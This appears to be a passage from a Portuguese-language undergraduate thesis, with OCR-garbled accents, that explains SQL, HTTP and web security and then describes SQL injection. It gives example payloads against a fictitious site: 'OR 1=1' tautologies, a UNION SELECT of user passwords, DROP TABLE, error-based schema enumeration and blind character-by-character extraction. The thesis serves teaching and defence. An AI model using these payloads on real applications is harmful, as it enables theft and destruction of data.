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RESUMO

A Informacé&o tornou-se um ativo valioso e estratégico. A “era da informagao”,
caracterizada pela inclusédo digital e disseminacéo da Internet, disponibilizou grandes
volumes de informacdo. Ndo tardou para que a aparicdo de ameacas contra a
confidencialidade, integridade e disponibilidade das informacbes gerassem
desconfiancas quanto ao modo como tais sdo armazenadas, transmitidas e
processadas. Neste contexto esse trabalho apresenta uma técnica chamada “SQL
Injection” que é utilizada para atacar bancos de dados através de aplicagdes
voltadas para a Internet. Para isso propde-se a implementacdo de ataques em
aplicacoes web alvo utilizando as técnicas SQL Injection com a utilizacdo de
ferramentas como o SQLMap e o Havij, contribuindo, informando desenvolvedores e
0s usuarios de um dos meios de ataque que circulam pela internet.

Palavras-chave: SQL Injection, aplicacées web, ataques.



ABSTRACT

The information became valuable and strategic. The “information age”
characterized by the digital inclusion and spread of Internet provided large volumes
of information. It didn’t take long to the apparition of threats against the
confidentiality, integrity and availability of information generate distrust as to the
manner these things are stored, transmitted and processed. In this context the work
presents a technique called “SQL Injection” that is used to attack databases through
applications focused on the Internet. For this proposes the attacks implementation on
target web applications using the SQL Injection techniques using tools like SQLMap
and the Havij contributing, informing developers and users of the one of the ways of
attack that are circulating on the internet.

Keywords: SQL Injection, web applications, attacks.
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1 INTRODUCAO

A internet, desde seu inicio até os dias de hoje, obteve uma taxa de
crescimento consideravel. Uma organizacdo voltada para a analise do trafego da
rede mundial de computadores constatou que, atualmente, aproximadamente 40%
da populagdo do planeta, possui conexdo com a Internet. Uma porcentagem
expressiva, levando em consideracdo que no ano de 1995, esse numero era inferior
a 1%. (INTERNET..., 2015).

A rede atualmente conta com inumeros sistemas, servi¢cos e informacodes, o
gue consequentemente eleva a porcentagem de falhas de segurancas contidas
nesta. Diante das informag0es expostas, este meio de comunicacdo, que da mesma
forma é utilizado para diversas outras atividades, requer certo nivel de seguranca.

De modo que, sdo as aplicacbes web as ferramentas responsaveis pela
funcdo de interacdo dos usuarios a internet, acabam elas igualmente a rede, se
tornando visadas e vulnerdveis as quebras de seguranca, por meios de ataques,
invasdes, entre outros, que em sua maioria buscam explorar os pontos vulneraveis
da aplicacao.

De acordo com Nakamura (2007), as informacOes devem se apresentar ao
usuario de forma integra e confiavel, para isso a seguranca tem de estar ligada
diretamente a manutencdo das informacdes fornecidas aos cliente, mas o que
ocorre, é o fato de uma grande maioria pessoas ndo compreenderem o conceito de
seguranca, deste modo, os devidos cuidados podem né&o ser tomados, 0 que pode
ocasionar em imensas perdas, tanto financeiras como morais.

Com o uso da Internet por instituicbes coorporativas, governamentais e
educacionais, a preocupac¢do com a seguranca das informacdes tem aumentado.
Qualquer organizacdo engajada em atividades que usem a rede mundial de
computadores deve avaliar a segurangca computacional associada a estas
atividades. Os servicos com maior quantidade de ataques sédo os de publicidade,
comeércio eletrénico, informacfes confidenciais e acesso a rede. Devido a esta
grande demanda de servigos ofertados, se faz necessério o estudo e divulgacao de
formas de se prevenir contra esses ataques.

Com base neste contexto, este projeto tem como proposta informar, e ao
mesmo tempo, demonstrar a todos os usarios e demais interessados, por meio da

simulacdo de um ataque a aplicagbes Web utilizando o modo de invasdo SQL
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Injection, as possiveis causas que podem levar a este tipo de ataque, bem como,

formas de prevencéao.

1.2 OBJETIVOS

Apresenta-se abaixo o0 objetivo geral e os objetivos especificos da pesquisa.

1.2.1 Objetivo Geral

Estudar e testar os tipos de ataque a aplicacdes Web via SQL Injection.

1.2.2 Objetivos Especificos

a) efetuar um levantamento bibliogréfico sobre tipos de ataque e formas de
prevencao;

b) estudar sobre SQL Injection;

c) compreender como funciona o ataque a aplicacbes Web via SQL
Injection;

d) simular uma invasdo em uma aplicacdo Web via SQL Injection;

e)demonstrar as principais vulnerabilidades, bem como, apresentar de
forma descritiva as préticas de seguranca;

f) demonstrar o impacto e consequéncias causada pelo SQL Injection;

g) analisar as invasdes estabelecendo um comparativo.

2 BANCOS DE DADOS

Antes da existéncia dos Bancos de Dados, por volta dos anos 60, os dados
eram mantidos eventualmente em arquivos, de forma interativa a aplicagdo. Tal
modo de armazenamento e recuperacdo de informagdes somente foi modificado
ap0s a chegada dos primeiros Sistemas Gerenciadores de Bancos de Dados
comerciais. (BOSCARIOLI, 2006).

Como todos sabem nos dias de hoje, a tecnologia se tornou fundamental para

todas as empresas, independente de seu porte, no qual os bancos de dados tem um
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papel de grande importancia, com a funcdo de base para o armazenamento de
informagdes. (GILLENSON, 2009).

Tratar sobre os banco de dados pode ser um assunto um pouco complexo,
devido ao fato de existirem diversos conceitos referentes a esse ambiente. Segundo
Gillenson (2009), para compreender totalmente os bancos de dados precisa-se
entender algumas conceitos, como Repositério de dados, Dicionario de dados,
Acesso a dados, Abstracdo de dados, entre outros.

Os BDs foram criados inicialmente para suprir a necessidade de informacéao
de uma determinada organizacdo, conjuntos ordenados deliberadamente e visando
a légica, estruturas inter-relacionadas, que utilizam o compartilhamento de dados
como ferramenta, sdo caracteristicas e definicbes que compdem, além de descrever
de uma maneira simplista um BD. (GILLENSON, 2009).

Ja de acordo com Damas (2007), os bancos de dados séo basicamente uma
colecédo de dados estruturados, que de forma organizada, sdo armazenados de um

modo pertinente por uma aplicacéo informatizada.

2.1 A LINGUAGEM SQL

2.1.1 Histo6ria

De acordo com Celso, no comeco da era dos computadores, sentiu-se a
necessidade de armazenar dados de entrada processados pelo proéprio, logo, o
armazenamento e recuperacdo das informacdo tornam-se essencial na informatica.
(OLIVEIRA, 2006).

Edgar F. Codd pesquisador da IBM, na califérnia, em junho de 1970, publicou
um trabalho, sobre o modelo relacional e banco de dados, que serviu como alicerce
para o desenvolvimento da linguagem SEQUEL, conhecida atualmente como SQL.
(OLIVEIRA, 2006).

Seu desenvolvimento foi continuado pela IBM, e sua primeira versao
comercial somente foi lancada em 1979, deste modo, em 1986 e 1987, decorrente
ao sucesso da linguagem, as entidades ANSI e ISO, veem o dever de padroniza-la,
mantendo praticamente o mesmo modelo SQL original. (OLIVEIRA , 2006).

N&o demorou muito, e dois anos depois, uma nova versao é emita, com

expressivas modificacbes contudo sua sucessora chega em 1992, com uma versao
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que define regras basica para os bancos relacionais, melhorando sua anterior.
Sucedida em 99, com a entrada do SQL3 ou SQL-99, que possui foco no modelo de
dados objeto-relacional, surgindo com novos tipos de dados, Boolean e LOB, assim
como novos predicados e semanticas. (OLIVEIRA, 2006; LIMA, 2015?).

JA em 2003 com a vinda do SQL:2003 ou também conhecido como
SQL:200n, novos dados como BIGINT similar ao smallint, MULTISET semelhante
ao Array, instrucdo MERGE, aparecem caracterizando essa verséao. [LIMA, 20157].

Em 2006 e 2008, duas versfes nascem, definindo de quais formas o SQL
pode ser utilizado em unido ao XML, delimitando modos de armazenar e importar
informacdes XML em um banco de dados SQL. Além disso s&o definidos aos
aplicativos de linguagem de programacao convencional, estruturas e fun¢des da
linguagem SQL que podem ser chamadas pelos proprios. (ISO/IEC 9075-14, 2006;
ISO/IEC 9075-3, 2008).

Atualmente a linguagem mais recente € denominada SQL:2011, lancada em
dezembro 2011, tem como caracteristicas, a exclusdo com o MERGE, melhorias nas
chamadas de funcdes, Pipelined DML, aprimoramento do comando SELECT para

permitir a alteracdo de dados a partir do proprio, entre outras. (ZEMKE, 2012).

2.1.2 Conceito

Uma linguagem de computador utilizada em bancos de dados, composta pela
DDL, um componente da linguagem que integra a definicdo dos dados, usada
basicamente em declaracdes e exclusdes, e pela DML, a manipulacdo de
informacdes, utilizada em comandos de recuperacdo, como o SELECT, que sera
mostrado posteriormente. (GILLENSON, 2009).

Padronizada internacionalmente pelas instituicbes 1SO e ANSI, possui facil
entendimento, faz uso de uma determinada sintaxe, um conjunto de regras
baseados no inglés e na sintaxe do VBA, manipulando dados, realizando uma
relacdo entre os mesmos, além, criar e alterar a aparéncia de objetos do banco de
dados, como tabelas, a partir um componente do SQL, a DLL. (MICROSOFT, 2007).

De acordo com Taylor (2003), o Structured Query Language, € uma
linguagem que pode ser utilizada de diversos modos, pelo modo de ser muito
flexivel, além de distinta das outras linguagens como C, COBOL, Java, Fortran,

Pascal e Basic, por ndo ser procedural, de modo que pode-se processar conjuntos
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de registros, ao invés de um por vez, possibilitando ao usuario manipular tipos
complexos de dados.

Uma curiosidade sobre esta linguagem nao ser procedural, € que de fato
uma grande parte dos programadores, por estarem habituados as solucdes
procedural, fez-se com que em 2003, fosse lancado uma versdo com
funcionalidades procedural, como blocos BEGIN, instrucdes IF, funcdes e
procedimentos. (TAYLOR, 2003).

Para o entendimento de um Ataque com a utilizacdo do SQL-Injection, é
preciso ter nocdes basicas sobre os comandos que podem ser utilizados na
linguagem SQL, perante essa informacdo, foram selecionados e ordenados,

algumas clausulas e comandos, listados conforme mostrado na Figura 1.

Figura 1 - Comandos SQL.

CREATE Comando usado para criar uma tabela.
ALTER Comando usado para m(_)dlflcar uma
coluna ou uma tabela existente.
Comando usado para excluir uma
DROP )
coluna ou tabela existente.
SELECT Comando usado para recuperar dados
de uma tabela.
UPDATE Comando usado para modificar os
dados de uma tabela.
INSERT C_:omando usado para inserir novas
linhas em uma tabela.
DELETE Comando usado para excluir linhas de
uma tabela.
FROM Comando lista tabelas que possuem
campos listados pelo SELECT.
WHERE Restringe a lista ex!bjo[a de acordo com
0s determinados critérios.
ORDER BY Comando especifica como classificar
0s resultados.
Operador uni varias consultas
UNION
semelhantes, retornando-as em uma.
Operador para restringir lista, exibindo
LIKE informacgdes de acordo com os dados
preenchidos.
Comando parecido com o WHERE,
HAVING especifica quais registro serao
selecionados, ap6s usar GROUP BY.
GROUP BY _chm_bma registros com informacdes
iIdénticas.

Fonte: Elaborada pelo autor.
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2.2 APLICACOES WEB

A Internet, € um utensilio utilizado por todos os publicos, desde organizacdes
privadas e governamentais até usuarios privados, além de possuir diversas funcoes.
Uma ferramenta usada como meio de comunica¢do, usada para comprar e vender
praticamente tudo, entre outros, trata-se de uma rede global que uni milhdes de
computadores ao redor do planeta, no qual sdao compartilhados qualquer tipo de
dados, imagens, documentos etc. (QIAN, 2010).

Seu desenvolvimento inicial foi feito pela agéncia ARPA em torno da década
de 60, inicialmente chamado de ARPANET, seu principal objetivo, embora que a
maioria das pessoas pensem que esta rede foi essencialmente criada para fins
militares, seu maior intuito foi visando o compartilhamento das informacdes atraves
dos computadores entre todos os centros da instituicdo de forma segura, reduzindo
custos. (GATTO, 2009).

Tal rede passou por varias alteracdes durante os anos, até que em meados
de 1989, Tim Berners-Lee, inventou a chamada World Wide Web, um sistema que
revolucionou a internet, trabalhando em conjunto a propria. Em paralelo a este
concebeu a linguagem HTML, utilizada para criar os documentos na Web, que
podem ser localizados pela URL. [NUNES, 20157?; W3C, 20147?].

Para visualizacdo dos documentos contidos na web, em 1990, Tim criou o
primeiro navegador, WorldWideWeb. [W3C, 2015?]. O navegador € utilizado para
acessar a URL, unindo um cliente e um servidor, enviando um pedido de solicitagao
ao servidor, retornando sua resposta para o cliente, de forma que estas acodes
conceituam uma aplicacdo Web. Para esta comunicacdo entre ambos existir, sdo
seguidas especificacdo de um protocolo, chamado HTTP. (CLARKE, 2009).

Existem diversos métodos utilizados pelo protocolo HTTP, mas de forma que
0 objetivo € 0 Ataque SQL-Injection, carecemos somente dos métodos, GET, usado
comumente em Links, transmite a informac&o na URL ao servidor, e 0 POST, muito
utilizado em formularios, como de cadastros, encaminhando informacédo ao servidor
de acordo com a URL de destino. (CLARKE, 2009). Conforme ilustra Figura 2.
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Figura 2 - Cliente Servidor, Web e Banco de Dados.

Prasentalian Ties ™ F Logies Tiar W Stovage ‘\‘
3 iy :‘_l N LOAD, COMPILE and
GET http:liwww.victim.com EXECUTE index.asp
b g e
N e Executs SCL i -
' | Engine ' s -
o = ; ~
by r | RoBMS ' e
o . | a
o Q &_ S
%___ Scripts Return data = )
L4
| FRender HTML .-\JT'\:I Send HTML - }
weh browser / rendering enging programming language: G#, ASP, database: MSSOL, MySQL,
NET, PHP, JSP, elc Oracle elc

Fonte: Clarke (2009).

2.3 LINGUAGEM HTML

HyperText Markup Language ou linguagem de marcagéo para hipertexto, o
famoso HTML, como dito anteriormente foi inventado por Tim Berners-Lee, e
desenvolvido com o propoésito de criar e realizar a manutencdo de documentos na
web, nas chamadas péaginas. De acordo com Silva (2011, p. 20), a definicdo exata
desta linguagem, se resume em, "[...] todo o conteudo inserido em um documento
para a web e que tem como principal caracteristica a possibilidade de se interligar a
outros documentos da web [...]".

Segundo Neves (2004), o HTML, trata-se de uma linguagem de formatacéo
de texto, que permite o desenvolvimento de blocos de texto, no qual possuem

marcas (tags) que indicam ao navegador a forma de como expor as informagdes
contidas no documento.

Figura 3 - Cabecalho e Corpo de um Documento HTML.

<html=
<head>

<title > Titulo do documento HTML</title>
</head>

<body>Conteddo do documento HTML</body =

</htmi=

Fonte: Neves (2004).

Conforme a ilustra a Figura 3 pode-se observar um exemplo béasico da

estrutura da linguagem HTML, de forma que a primeira tag <html>, abrange todo
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documento, no qual estdo o <head> que normalmente € reservado para Titulo, e 0

<body> que remete a praticamente todo conteudo.

2.4 PROTOCOLO HTTP

O Hypertext Transfer Protocol € um protocolo que possui diversas utilidades e
aplicacdes, mas atualmente seu uso esta mais empregado para atender a realizacao
da comunicacdo da Word Wide Web, entre os navegadores web e os servidores
web. (GOURLEY, 2002).

Considerado o protocolo mais famoso de comunicacdo entre navegadores e
servidores web, o HTTP de modo a visar a transmissao de dados de forma segura,
utiliza protocolos confiaveis, o que garante que seus dados ndo serdo alterados ou
corrompidos em transicdo, além de garantir a integridade das informacBes ao
usuério. (GOURLEY, 2002).

Os servidores Web, muitas vezes chamados de servidores HTTP, sé&o
recursos da Web que armazenam as informacdes da propria, de maneira que estas
séo solicitadas pelo usuério através dos navegadores, assim o servidor por sua vez
retorna ao cliente os dados ou objetos com suas respectivas informacdes em HTTP,
conforme ilustrado na Figura 4. (GOURLEY, 2002).

Figura 4 - Cliente solicitagdo ao Servidor Web.

www.oraily.com

HTTP request
*Get me the document called /index. Arml.”
HTTP response
“Dkay, here it is, it's in HTML format and is 3,150 characters long.”
Client Server

Fonte: Gourley (2002).

2.4.1 Métodos

O protocolo HTTP possui diversos métodos, estes sao utilizados para enviar
diferentes tipos de solicitacdo, de forma que para cada mensagem de pedido HTTP,
existi um método que informa ao servidor web qual tipo de acdo sera realizada.
(GOURLEY, 2002).
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2.4.1.1 Método GET

De acordo com Kennedy (2002) ambos os métodos, GET e POST, podem ser
acionados por formularios na linguagem HTML. O método GET diferentemente do
POST, se conecta ao servidor para processar os dados do formuléario e envia-los, de
modo que séo adicionados a URL, separando-os por interrogacao (?). A Figura 5 &
um exemplo, no qual é possivel identificar o ponto de interrogacao (?), que marca o
fim do endereco e o inicio dos valores que serédo passados ao servidor.

Figura 5 - Método GET
http://www.meusite.com.br/versecao.php?nome=Joao+Silva&celular=1223365

Fonte: Elaborada pelo autor.

O meétodo GET, é utilizado para melhorar o desempenho normalmente
gquando os formularios possuem campos curtos, e para casos, no qual haja
necessidade de chamar o servidor fora do dominio, pelo fato de ser possivel passar
parametros adicionados a URL. (KENNEDY, 2002).

2.4.1.2 Método POST

Ao referenciar seguranga, como a maioria das ferramentas da web, o método
POST possui suas falhas, mas pelo fato de poder utilizar a criptografia, de forma que
guando a seguranca for visada, este se torna mais aconselhavel diante do método
anterior. (KENNEDY, 2002).

As informacdes nesse método sdo passadas separadamente a conexao feita
ao servidor, sdo enviadas isoladas do cabecalho da solicitacdo entre navegador e 0
servidor web, diferindo-se do método GET. [USP, 20157].

2.5 SEGURANCA

Para o professor Filho (2004, p. 1), a seguranga da informagdo "[...]
compreende um conjunto de medidas que visam proteger e preservar informacoes e

sistemas de informagdes [...]".
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Segundo Litchfield (2005), para um uma melhor seguranca em sistemas,
deve-se primeiramente entender como funcionam seus ataques, para assim analisar
0s método de prevencao adequados.

Para o compreendimento do tema seguranca da informacédo de acordo com
lepsen [20157], existem trés aspectos a serem levados em consideracdo, a
confidencialidade, que esta ligada diretamente as permissfes do sistema em
autorizar e nao autorizar determinados usuarios a acessar os dados, a integridade,
aspecto que garante a autenticidade dos mesmos, ndo permitindo que sejam
alterados sem permisséao, e a disponibilidade, que esté relacionado a quantidade de
vezes em que o sistema realizou as acdes solicitadas, sem erros ou falhas em
relacdo ao numero de vezes que o sistema foi encaminhado a realizar as
determinadas acoes.

A quebra de seguranca dos sistemas, pode ser relacionada ao fato da
existéncia de vulnerabilidades no proprios. Atacantes exploram estas, de forma a
comprometer todo o sistema. (SILVA, 2012).

Empresas e organizacbes devem sempre estar atualizadas, para suas
devidas protecbes, afim de utlizar a seguranca da informagdo de maneira
estratégica, com intuito de garantir a integridades de seus dados, além de
inconsequentemente aumentar a produtividade ao possuir um ambiente mais
organizado. (SANTO, 2010).

No Brasil como em qualquer outro pais, no que se refere seguranca da
informacdo, é alvo de diversos tipos de ataques, invasdes, entre outros. Segundo o
Centro de Estudos, Resposta e Tratamento de Incidentes de Seguranca no Brasil
(2015), um grupo destinado a Resposta a Incidentes de Seguranca para a Internet
brasileira, faz divulgacao dos indices encontrados no pais, que no decorrer dos anos
sempre apresentaram determinadas variacdes, 0 qual acompanharam o
desenvolvimento da Internet, mas conforme demonstra a Figura 6, verifica-se uma

consideravel e preocupante taxa de crescimento destes no ano de 2014.
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Figura 6 - Incidentes na Internet

Total de Incidentes Reportados ao CERT.br por Ano

T T T T T T T T T T T T T T
1047031

1000000

800000 |-

600000

466029

400000 |- 339515

Total de Incidentes

222528
200000 - 197892

54607 22268000

3107 5997 1230125092

1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014
Ano (1999 a dezembro de 2014)

Fonte: CERT (2015).

2.6 ATAQUES

Atualmente existem diversas técnicas de ataques relacionados aos
computadores, no quais de acordo com Bezerra [20157], sdo crime virtuais, que
todos usuarios estdo expostos. Neste trabalho sera visado uma técnica de ataque
voltada para a utilizacdo das aplicagbes web, denominada SQL Injection. Este
ataque possui como base a utilizagdo de uma técnica chamada Code Injection,
diante disso sera abordado de maneira simplista outras duas forma que utilizam do

mesmo recurso, afim de auxiliar na compreenséo da técnica.

2.6.1 Code Injection

Code Injection ou Cdédigo de Injecdo séo os tipos de ataque que utilizam da
injecdo de um cdédigo em uma determinada aplicacdo, no qual normalmente é
explorado as falhas de seguranca, referentes ao manuseio dos dados, como a
validacéo dos dados de entrada e saida. (OSWAP, 2013a).

De acordo com Athanasopoulos (2009), o ataque é feito atravées de uma
determinada injecdo de codigo realizada pelo lado do cliente em alguma aplicacéo
web, ou seja, pode-se realizar a invasao introduzindo um comando malicioso em
algum formulario comum, em um determinado site, afim de mudar seu curso de

execucao.
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Como este tipo de ataque é tradicionalmente considerado uma da principais
ameagas, logo, existem varias técnicas de ataque que utilizam como base este
meétodo de injecdo, algumas delas seriam, SQL Injection, Cross-site Scripting (XSS),

LDAP injection, entre outros.

2.6.2 Cross-Site Scripting (XSS)

O Cross-Site Scripting € uma categoria de ataque do tipo injecao, no qual sdo
injetados na aplicacao web scripts maliciosos afim de obter informacdes, cookies, ou
até mesmo remodelar as informacdes contidas na pagina HTML. O método de
ataque XSS, em sua maioria sempre aproveitam vulnerabilidades generalizadas e,
podem ser divididos em 3 diferentes vertentes. (OSWAP, 2013b).

A primeira vertente, Stored XSS, ocorre basicamente quando o atacante
consegue armazenar informacBes no servidor da aplicacdo web, a segunda é
Reflected XSS, é definida quando apds a tentativa de injecdo, imediatamente uma
mensagem de qualquer tipo é retornada, e por ultimo o tipo DOM Based XSS,

acontece quando é enviado ao usuario uma URL maliciosa. (OSWAP, 2013b).

2.6.3 LDAP Injection

O LDAP Injection ou Lightweight Directory Access Protocol Injection, como
nome ja referencia, € um tipo de ataque que faz uso como base do Code Injection.
Um atague que visa aplicacdbes web que possuem declaracbes LDAP, afim de
modifica-las, através de um proxy local, de forma a permitir a implementacédo de
codigos maliciosos. As técnicas de exploracdo avancadas do SQL-Injection também
podem ser aplicadas nesse modelo. (OSWAP, 2015).

2.6.4 SQL Injection

Segundo Clarke (2009), este meétodo de ataque que € um dos mais
devastadores no que se refere negocios, pelo simples fato de poder acessar
praticamente todo seu banco de dados, provavelmente deve existir desde a primeira
conexao entre as aplicagcdes Web e BDs da linguagem SQL, mas somente meados

de 1998 um artigo chamado “NT Web Technology Vulnerabilities”, escrito por Rain
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Forest Puppy, abordou essa técnica revelando-a para o mundo. Rain um pouco
depois em 2000, divulgou outro trabalho, entitulado "How | hacked PacketStorm", no
qual alertava de que maneira o SQL Injection era usado em websites. Com base em
suas descobertas, pesquisadores ainda continuam trabalhando, desenvolvendo e
aprimorando técnicas a partir desta.

De acordo com lepsen [20157], muitas das aplicagcbes web disponiveis
possuem como modo de armazenamento 0s bancos de dados, que em sua maioria
fazem uso da linguagem SQL para manutencao, incluséo, alteracdo, consultas, entre
outros. Diante desse fato, determinados usuarios com certo conhecimento na éarea,
utilizam das peculiaridades da linguagem e vulnerabilidades do sistema, para atacar
a aplicacédo alvo, com o uso da técnica denominada SQL Injection, no qual ocorrido
com sucesso, danos irreparaveis podem ocorrer.

O SQL Injection é considerado uma vulnerabilidade, no qual se da ao usuario
malicioso a oportunidade de influenciar sobre determinado banco de dados. Um tipo
de ataque em que se faz a injecdo de cédigo SQL em uma aplicacdo web, através
dos parametros de entrada do usuario, que sao enviados ao servidor de bancos de
dados SQL, para analise e execugdo. (CLARKE, 2009).

A principal forma para utilizacdo da injegcdo do SQL de acordo com Clarke
(2009) é através do insercao direta, conhecida como a manipulacdo de dados ou
comandos, esta inseri diretamente o cddigo malicioso em um campo da aplicacao
gue esta ligado ao armazenamento no banco de dados, de maneira a ser executado
imediatamente. (SILVA, 2012).

Esta técnica exploratéria maliciosa de falhas que utiliza o Code Injection, do
mesmo modo que pode injetar um codigo para ser executado imediatamente, pode
implementar um comando em alguma &area apropriada do aplicativo, para ser
executado posteriormente em um momento oportuno por outra atividade.

Para um melhor entendimento do ataque, na Figura 7, é possivel observar
uma consulta que sera feita em um banco de dados SQL ligado a uma aplicacéo
web, que esta a espera de uma resposta do servidor web para que o comando seja

executado.
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Figura 7 - Consulta esperando valor.
SELECT * FROM PRODUTOS WHERE

PRECO<="&Request.QueryString("Preco");

Fonte: Elaborada pelo autor.

Na URL exibida na Figura 8, € apresentado um caminho, no qual o servidor
web tem a funcéo de localiza-lo, e executar em seu banco de dados o determinado

comando SQL, visto na Figura 7, diante dos parametros passados.

Figura 8 - URL normal.
http://www.meusite.com.br/produtos.php?val=200

Fonte: Elaborada pelo autor.

Neste caso, produtos, que é uma tabela no BD, recebera em seu campo
preco, o valor 200, retornando todo conteldo de sua tabela que possuem precos
menores ou iguais a 200.

Figura 9 - URL alterada.
http://www.meusite.com.br/produtos.php?val=200’ OR 1’ = ‘1

Fonte: Elaborada pelo autor.

Ja na Figura 9, pode-se perceber que a URL foi alterada, no qual foram
acrescentados alguns caracteres. Esta URL, possui o mesmo intuito, retornar os
produtos do banco de dados, mas devido a adicdo dos codigos, ela retornara todos
os produtos da tabela independente de seus precos. Ao adicionar o comando OR, a
consulta foi alterada como pode ser visto na Figura 10, de forma que precos sejam
menores ou igual a 200, ou 1 igual a 1, que nada mais é que uma verdade, logo todo

registro que se encontrar, sera uma verdade, retornando sempre todos.

Figura 10 - Consulta alterada.
SELECT * FROM PRODUTOS WHERE PRECO <= '200'OR'1'="1";

Fonte: Elaborada pelo autor.

Existem diversos outros modos do atacante obter informacdes do sistema, um

deles é através do comando UNION, mostrado na Figura 11.
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Figura 11 - Consulta nomes e senhas.
http://www.meusite.com.br/produtos.php?val=200;UNION SELECT
NOME, SENHA FROM USUARIOS

Fonte: Elaborada pelo autor.

Além do usuéario malicioso, possuir o poder de deletar os dados ja

armazenados nas tabelas, exibido na Figura 12.

Figura 12 - Deleta tabela produtos.
http://www.meusite.com.br/produtos.php?val=200;DROP TABLE PRODUTOS

Fonte: Elaborada pelo autor.

Nestes simples exemplos consegue-se notar como o atacante pode manipular
a seu favor a instrugdo SQL, explorando a vulnerabilidade do sistema. Segundo
Clarke (2009), mesmo com a grande quantidade de maneiras existentes para a
exploracdo das vulnerabilidades para a utilizacdo da injecdo, o sucesso do ataque é

diretamente ligado as falhas dos sistemas e a habilidades do atacante.

2.6.4.1 SQL Injection baseado em erros

O SQL Injection baseado em erros normalmente € utilizado por usuarios com
um nivel de conhecimento maior e quando ndo se possui henhuma informacédo a
respeito da aplicacdo. Segundo Halfond (2006), este atague € considerado o
antecessor do ataque principal, pois tem como objetivo identificar informacdes
relevantes.

Esta técnica consiste na geracao de erros, explorando a vulnerabilidade dos
sistemas, de forma que os servidores em sua maioria, retornam muitos erros
descritivos, que incialmente tinham o intuito de facilitar os programadores a
encontrar erros em seus aplicativos. Diante disto o usuario malicioso, forca a
geracédo de erros do sistema, usando a injecao para causar erros de conversdo de
tipo, sintaxe, ou légicos no BD, para obter informacdes da estrutura do banco de
dados. (HALFOND, 2006).
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Figura 13 - Campo usuario e senha.
Nome: Senha:

Fonte: Elaborada pelo autor.

Para melhor compreensédo, na Figura 13, existem dois campos, como em
aplicacbes web. Um atacante ndo sabendo um usuério e senha validos, afim de
descobrir informacdes, ira neste exemplo usar o comando having e mais uma

sequéncia de caracteres, no primeiro campo, ilustrado na Figura 14.

Figura 14 - Utilizacdo do having.
Nome: ' having 1=1 -- Senha: blabla

Fonte: Elaborada pelo autor.

Neste momento os parametros irdo para o banco de dados, como mostra a

Figura 15.

Figura 15 - Consulta having
SELECT * FROM USUARIOS WHERE NOME ="'HAVING 1=1 -- SENHA

= BLABLA

Fonte: Elaborada pelo autor.

A linguagem SQL de BDs, interpreta o "--", como inicio de comentario, logo
tudo aquilo apGs esses caracteres sera desconsiderado. A instrucdo permanece até

o comando having, e gera um erro ilustrado na Figura 16.

Figura 16 - Erro Having
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14' [Microsoft][ODBC

SQL Server Driver][SQL Server]Column ‘usuarios.CODUSUA’ is invalid in the

select list because it is not contained in an aggregate function and there is no

GROUP BY clause. /arquivo.asp, line 94

Fonte: Elaborada pelo autor.

Diante deste erro o usuario com certo conhecimento, ja consegue identificar
uma tabela chamada USUARIOS, e o primeiro campo dela, que no caso € o
CODUSUA.
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Figura 17 - Utilizacdo do Group by
Nome: ' group by usuarios.codusua having 1=1-- Senha:blabla

Fonte: Elaborada pelo autor.

Ao utilizar o comando group by como mostrado na Figura 17, outro erro
ocorre.

Figura 18 - Erro Group by
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14' [Microsoft][ODBC

SQL Server Driver][SQL Server]Column ‘usuarios.idade’ is invalid in the select list

because it is not contained in either an aggregate function or the GROUP BY

clause. /arquivo.asp, line 94

Fonte: Elaborada pelo autor.

Ao analisar esse novo erro, 0 usuario consegue identificar outro campo da
tabela chamado idade. Desta forma ao fazer isto sucessivamente, o atacante

encontrara todos os campos da tabela.

Figura 19 - Comando Sum
Usuério: ' union select sum(codusua) from usuarios -- Senha :

Fonte: Elaborada pelo autor.

Na Figura 19, é usado o comando sum, que serve para soma, com o intuito

de descobrir o tipo de dado da coluna codusua.

Figura 20 - Erro Sum
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07' [Microsoft][ ODBC

SQL Server Driver][SQL Server]The sum or average aggregate operation cannot

take a varchar data type as an argument. /arquivo.asp, line 94

Fonte: Elaborada pelo autor.

O servidor ao retornar este erro mostrado na Figura 20, informa o tipo de
dado do campo codusua, um varchar. Assim como para descobrir os campos, pode-
se utilizar deste comando para descobrir todos os tipos de dados de todos os
campos da tabela usuarios. Desta forma, o atacante ao possuir todos as

informacgdes da tabela, pode inserir facilmente um registro, com o comando insert.
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Os desenvolvedores das aplicacdes web, ao se conscientizarem sobre o SQL
Injection baseado em erros, comecaram a desativar as mensagens, outros, as
tornaram genéricas, tudo com o objetivo de extinguir essa ameaca, mas em
decorréncia a estas acdes, atacantes acabaram desenvolvendo outra técnica
chamada Blind SQL Injection. (CLARKE, 2009).

2.6.4.2 Blind SQL Injection

Este tipo de atague normalmente € recomendado, quando uma aplicacdo web
estd configurada para apresentar mensagens de erro genéricas. O Blind Injecéo
SQL é um tipo de ataque de injecdo SQL que trabalha com o retorno do servidor, as
solicitacdes de perguntas, no qual de acordo com as respostas sao definida sua
autenticidade. (OSWAP, 2013c).

Segundo Clarke (2009), este método que pode ser conhecido como ataque
cego, € uma ferramenta que esta no conhecimento de todo atacante. Este faz a
verificacdo se a injecdo é possivel através do retorno de saida do aplicativo web, sua
principal funcdo é a extracdo de informacbes do BDs e nado necessita das
mensagens de erros. (CLARKE, 2009).

Figura 21 - URL normal
http://www.meusite.com.br/Noticia.jsp?pressReleaselD=5

Fonte: Elaborada pelo autor.

Na Figura 21, € ilustrado uma URL de um site de noticias ficticio, no qual esta

na quinta reportagem, de acordo com o pressReleaselD=5.

Figura 22 - URL teste Blind
www.meusite.com.br/Noticia.jsp?pressReleaselD=5 AND USER_NAME() = 'DBO’

Fonte: Elaborada pelo autor.

A noticia é exibida normalmente, mas ao adicionar USER_NAME (), uma
funcdo do servidor SQL, que retorna o nome do atual do usuario, e atualizar a
pagina como na Figura 22, é feita uma pergunta ao servidor se o usuario € o DBO,
se a reposta no caso for verdadeira, a pagina abrira normalmente, caso a resposta

nao seja verdadeira, a consulta falhard e nenhuma noticia serd mostrada.
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Figura 23 - URL recuperacdo do nome de uma tabela
http://www.meusite.com.br/Noticia.jsp?pressReleaselD=5 AND

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U’), 1, 1))) > 109

Fonte: Elaborada pelo autor.

Na Figura 23, € ilustrado uma pergunta um pouco mais complexa, que tem
como meta, identificar o nome de uma tabela do bancos de dados, descobrindo um
caracter por vez. A substring() junto com o select, ir4 retornar o primeiro caractere do
